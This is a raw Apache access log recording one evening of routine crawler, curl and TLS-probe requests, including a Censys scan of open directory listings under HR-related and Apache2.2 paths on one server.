100.64.0.1 - - [03/Sep/2025:20:44:12 +0800] "GET /eHR/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:13 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:20:44:13 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:13 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:20:44:13 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:15 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:20:44:15 +0800] "GET /idcard/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:15 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:20:44:15 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:16 +0800] "GET /emphoto/ HTTP/1.1" 200 25014
100.64.0.1 - - [03/Sep/2025:20:44:16 +0800] "GET /emphoto/ HTTP/1.1" 200 25014 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:18 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:44:18 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:32 +0800] "GET /eHR/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:32 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:20:44:34 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:20:44:34 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:34 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:20:44:34 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:35 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:20:44:35 +0800] "GET /idcard/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:46:20 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:46:20 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:46:49 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:46:49 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:48:32 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:20:48:32 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:20:49:19 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:20:49:19 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:20:49:30 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:20:49:30 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:20:51:44 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:20:51:44 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:20:52:24 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)"
100.64.0.1 - - [03/Sep/2025:20:52:24 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:52:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:52:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:57:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:57:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:58:18 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:58:18 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:05:51 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:05:51 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:11:03 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:21:11:03 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:21:13:28 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:21:13:28 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:21:14:30 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:14:30 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:16:22 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:21:16:22 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:21:17:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:21:17:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:21:17:57 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:17:57 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:18:38 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:18:38 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:18:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:21:18:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:21:19:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:21:19:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:21:20:23 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:20:23 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:24:45 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:24:45 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:26:03 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:26:03 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:31:16 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:31:16 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:40:44 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:40:44 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:42:17 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:42:17 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:43:25 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:43:25 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:44:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:21:44:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:21:46:34 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:46:34 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:50:30 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:21:50:30 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:21:52:56 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:52:56 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:53:27 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:21:53:27 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:21:57:39 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:21:57:39 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:21:59:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:21:59:06 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:22:00:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:22:00:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:22:00:49 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0"
100.64.0.1 - - [03/Sep/2025:22:00:49 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:22:01:04 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:22:01:04 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50"
100.64.0.1 - - [03/Sep/2025:22:01:32 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:22:01:32 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:22:02:58 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:22:02:58 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:22:04:33 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:22:04:34 +0800] "GET /eHR HTTP/1.1" 301 238 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:34 +0800] "GET /eHR HTTP/1.1" 301 238
100.64.0.1 - - [03/Sep/2025:22:04:35 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:22:04:35 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:37 +0800] "GET /eHR1 HTTP/1.1" 301 239
100.64.0.1 - - [03/Sep/2025:22:04:37 +0800] "GET /eHR1 HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:37 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:37 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:22:04:38 +0800] "GET /idcard HTTP/1.1" 301 241 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:38 +0800] "GET /idcard HTTP/1.1" 301 241
100.64.0.1 - - [03/Sep/2025:22:04:39 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:39 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:22:04:39 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:39 +0800] "GET /eHRTEST HTTP/1.1" 301 242
100.64.0.1 - - [03/Sep/2025:22:04:40 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:40 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:22:04:40 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:40 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265
100.64.0.1 - - [03/Sep/2025:22:04:41 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:41 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:22:04:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275
100.64.0.1 - - [03/Sep/2025:22:04:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [03/Sep/2025:22:04:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 283
100.64.0.1 - - [03/Sep/2025:22:04:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247
100.64.0.1 - - [03/Sep/2025:22:04:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281
100.64.0.1 - - [03/Sep/2025:22:04:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877
100.64.0.1 - - [03/Sep/2025:22:04:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 279 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 279
100.64.0.1 - - [03/Sep/2025:22:04:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889
100.64.0.1 - - [03/Sep/2025:22:04:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv HTTP/1.1" 301 285
100.64.0.1 - - [03/Sep/2025:22:04:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv HTTP/1.1" 301 285 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845
100.64.0.1 - - [03/Sep/2025:22:04:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/bin/iconv" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 282
100.64.0.1 - - [03/Sep/2025:22:04:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758
100.64.0.1 - - [03/Sep/2025:22:04:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 282
100.64.0.1 - - [03/Sep/2025:22:04:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/htdocs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44
100.64.0.1 - - [03/Sep/2025:22:04:49 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:49 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280
100.64.0.1 - - [03/Sep/2025:22:04:49 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 15401 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:49 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 15401
100.64.0.1 - - [03/Sep/2025:22:04:50 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 283
100.64.0.1 - - [03/Sep/2025:22:04:50 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/modules" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219
100.64.0.1 - - [03/Sep/2025:22:04:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:51 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281
100.64.0.1 - - [03/Sep/2025:22:04:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449
100.64.0.1 - - [03/Sep/2025:22:04:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 287
100.64.0.1 - - [03/Sep/2025:22:04:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons/small" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219
100.64.0.1 - - [03/Sep/2025:22:04:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:53 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 280
100.64.0.1 - - [03/Sep/2025:22:04:54 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:04:54 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777
100.64.0.1 - - [03/Sep/2025:22:04:58 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:22:04:58 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:22:07:53 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:22:07:53 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:22:07:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:22:07:54 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [03/Sep/2025:22:09:46 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:22:09:46 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:22:10:15 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:22:10:15 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:22:13:34 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:22:13:34 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:22:16:09 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:22:16:09 +0800] "GET / HTTP/1.0" 200 439
